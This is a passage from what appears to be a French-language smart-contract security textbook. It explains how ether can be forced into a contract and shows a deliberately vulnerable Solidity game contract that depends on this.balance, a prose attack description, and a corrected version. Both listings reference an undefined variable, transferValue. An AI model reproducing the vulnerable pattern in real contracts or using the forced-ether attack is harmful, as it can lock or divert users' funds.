<div class="paragraph">
<p>Une technique de programmation défensive courante qui est utile pour appliquer des transitions d’état correctes ou valider des opérations est <em>la vérification invariante</em> . Cette technique consiste à définir un ensemble d’invariants (métriques ou paramètres qui ne doivent pas changer) et à vérifier qu’ils restent inchangés après une (ou plusieurs) opération(s). C’est généralement une bonne conception, à condition que les invariants vérifiés soient en fait des invariants. Un exemple d’invariant est <code>totalSupply</code> d’une émission fixe de <a href="http://bit.ly/2CUf7WG">Jeton ERC20</a> . Comme aucune fonction ne doit modifier cet invariant, on pourrait ajouter une vérification à la fonction <code>transfer</code> qui s’assure que le <code>totalSupply</code> reste inchangé, pour garantir que la fonction fonctionne comme prévu.</p>
</div>
<div class="paragraph">
<p>En particulier, il existe un invariant apparent qu’il peut être tentant d’utiliser mais qui peut en fait être manipulé par des utilisateurs externes (quelles que soient les règles mises en place dans le contrat intelligent). Il s’agit de l’ether actuel stocké dans le contrat. Souvent, lorsque les développeurs apprennent Solidity pour la première fois , ils ont l’idée fausse qu’un contrat ne peut accepter ou obtenir de l’ether que via des fonctions payantes. Cette idée fausse peut conduire à des contrats qui contiennent de fausses hypothèses sur l’équilibre de l’ether, ce qui peut entraîner une série de vulnérabilités. La preuve irréfutable de cette vulnérabilité est l’utilisation (incorrecte) de <code>this.balance</code>.</p>
</div>
<div class="paragraph">
<p>Il existe deux manières d’envoyer (de force) de l’ether à un contrat sans utiliser de fonction payante ni exécuter de code sur le contrat :</p>
</div>
<div class="dlist">
<dl>
<dt class="hdlist1">Autodestruction/suicide</dt>
<dd>
<p>Tout contrat est capable d' implémenter la <a href="http://bit.ly/2RovrDf">fonction</a> <code>selfdestruct</code> , qui supprime tout le code intermédiaire de l’adresse du contrat et envoie tout l’ether qui y est stocké à l’adresse spécifiée par le paramètre. Si cette adresse spécifiée est également un contrat, aucune fonction (y compris la fonction de secours) n’est appelée. Par conséquent, la fonction <code>selfdestruct</code> peut être utilisée pour envoyer de force de l’ether à n’importe quel contrat, quel que soit le code pouvant exister dans le contrat, même les contrats sans fonctions payantes. Cela signifie que tout attaquant peut créer un contrat avec une fonction <code>selfdestruct</code> , lui envoyer de l’ether, appeler <code>selfdestruct(target)</code> et forcer l’ether à être envoyé à un contrat <code>target</code> . Martin Swende a un excellent <a href="http://bit.ly/2OfLukM">article de blog</a> décrivant certaines bizarreries de l’opcode d’autodestruction (Quirk # 2) ainsi qu’un compte rendu de la façon dont les nœuds clients vérifiaient des invariants incorrects, ce qui aurait pu conduire à un crash plutôt catastrophique du réseau Ethereum.</p>
</dd>
<dt class="hdlist1">Ether pré-envoyé</dt>
<dd>
<p>Une autre façon d’intégrer de l’ether dans un contrat consiste à précharger l’adresse du contrat avec de l’ether. Les adresses de contrat sont déterministes - en fait, l’adresse est calculée à partir du hachage Keccak-256 (généralement synonyme de SHA-3) de l’adresse créant le contrat et du nonce de transaction qui crée le contrat. Plus précisément, il se présente sous la forme <code>address = sha3(rlp.encode([ account_address,transaction_nonce ]))</code> (voir la discussion d’Adrian Manning sur <a href="http://bit.ly/2EPj5Tq">"Keyless Ether"</a> pour quelques cas d’utilisation amusants). Cela signifie que n’importe qui peut calculer quelle sera l’adresse d’un contrat avant sa création et envoyer de l’ether à cette adresse. Lorsque le contrat est créé, il aura un solde d’ether non nul.</p>
</dd>
</dl>
</div>
<div class="paragraph">
<p>Explorons quelques pièges qui peuvent survenir compte tenu de ces connaissances. Considérez le contrat trop simple dans <a href="#etherGame_security">EtherGame.sol</a>.</p>
</div>
<div id="etherGame_security" class="exampleblock">
<div class="title">Example 5. EtherGame.sol</div>
<div class="content">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// Les utilisateurs paient 0,5 ether. À des étapes spécifiques, créditez leurs comptes.
function play() external payable {
require(msg.value == 0.5 ether); // chaque jeu est 0.5 ether
uint currentBalance = this.balance + msg.value;
// s'assure qu'il n'y a plus de joueurs après la fin du jeu
require(currentBalance <= finalMileStone);
// si à un jalon, créditer le compte du joueur
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// s'assure que le jeu est terminé
require(this.balance == finalMileStone);
// s'assure qu'il y a une récompense à donner
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}</code></pre>
</div>
</div>
</div>
</div>
<div class="paragraph">
<p>Ce contrat représente un jeu simple (qui impliquerait naturellement des conditions de course) où les joueurs envoient 0,5 ether au contrat dans l’espoir d’être le joueur qui atteint l’un des trois jalons en premier. Les jalons sont libellés en ether. Le premier à atteindre le jalon peut réclamer une partie de l’ether à la fin de la partie. Le jeu se termine lorsque le dernier jalon (10 ether) est atteint; les utilisateurs peuvent ensuite réclamer leurs récompenses.</p>
</div>
<div class="paragraph">
<p>Les problèmes avec le contrat <code>EtherGame</code> proviennent de la mauvaise utilisation de <code>this.balance</code> dans les deux lignes 14 (et par association 16) et 32. Un attaquant malicieux pourrait envoyer de force une petite quantité d’ether, disons 0,1 ether, via la fonction <code>selfdestruct</code> ( discuté plus tôt) pour empêcher tout futur joueur d’atteindre un jalon. <code>this.balance</code> ne sera jamais un multiple de 0,5 ether grâce à cette contribution de 0,1 ether, car tous les joueurs légitimes ne peuvent envoyer que des incréments de 0,5 ether. Cela empêche toutes les conditions if des lignes 18, 21 et 24 d’être vraies.</p>
</div>
<div class="paragraph">
<p>Pire encore, un attaquant vengeur qui a raté un jalon pourrait envoyer de force 10 ethers (ou une quantité équivalente d’ethers qui pousse le solde du contrat au-dessus du <code>finalMileStone</code> ), ce qui verrouillerait toutes les récompenses dans le contrat pour toujours. En effet, la fonction <code>claimReward</code> sera toujours rétablie, en raison de l’exigence à la ligne 32 (c’est-à-dire parce que <code>this.balance</code> est supérieur à <code>finalMileStone</code> ).</p>
</div>
</div>
<div class="sect3 notoc">
<h4 id="_techniques_préventives_3">Techniques préventives</h4>
<div class="paragraph">
<p>Ce type de vulnérabilité provient généralement d’une mauvaise utilisation de <code>this.balance</code>. La logique contractuelle, dans la mesure du possible, doit éviter de dépendre des valeurs exactes du solde du contrat, car elle peut être artificiellement manipulée. Si vous appliquez une logique basée sur <code>this.balance</code> , vous devez faire face à des soldes inattendus.</p>
</div>
<div class="paragraph">
<p>Si des valeurs exactes d’ether déposé sont requises, une variable auto-définie doit être utilisée qui est incrémentée dans les fonctions payables, pour suivre en toute sécurité l’ether déposé. Cette variable ne sera pas influencée par l’ether forcé envoyé via un appel <code>selfdestruct</code>.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code class="language-solidity" data-lang="solidity">contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() external payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// s'assure qu'il n'y a plus de joueurs après la fin du jeu
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// s'assure que le jeu est terminé
require(depositedWei == finalMileStone);
// s'assure qu'il y a une récompense à donner
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}